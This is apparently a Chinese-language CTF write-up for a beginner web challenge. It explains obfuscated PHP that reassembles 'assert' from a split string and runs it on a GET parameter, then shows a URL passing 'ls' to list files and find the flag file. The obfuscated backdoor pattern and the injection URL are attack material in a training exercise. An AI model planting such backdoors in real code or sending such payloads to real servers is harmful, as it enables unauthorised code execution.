题目概述
这是一道典型的 Web 安全入门题,考察对 PHP 代码执行逻辑的理解。访问目标页面后,初始界面显示为空白,需要结合源码分析寻找突破口。
代码分析
通过观察题目描述中的关键代码片段,可以发现一段经过混淆的 PHP 逻辑:
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s']);
这段代码的核心意图是利用 explode 函数将字符串按 # 分割成数组,再重新拼接还原出 assert 关键字。随后通过 $_GET['s'] 接收用户输入并执行。这意味着我们可以通过构造特定的 URL 参数来触发 assert 函数的执行,进而实现命令注入。
漏洞利用
既然确认了 assert 的存在且直接接收 GET 参数,我们可以尝试传入系统命令。例如,使用 ls 命令查看当前目录下的文件列表:
http://target/?s=ls
执行后,服务器返回了目录结构,包括 index.php 和名为 flaga15808abee46a1d5.txt 的文件。




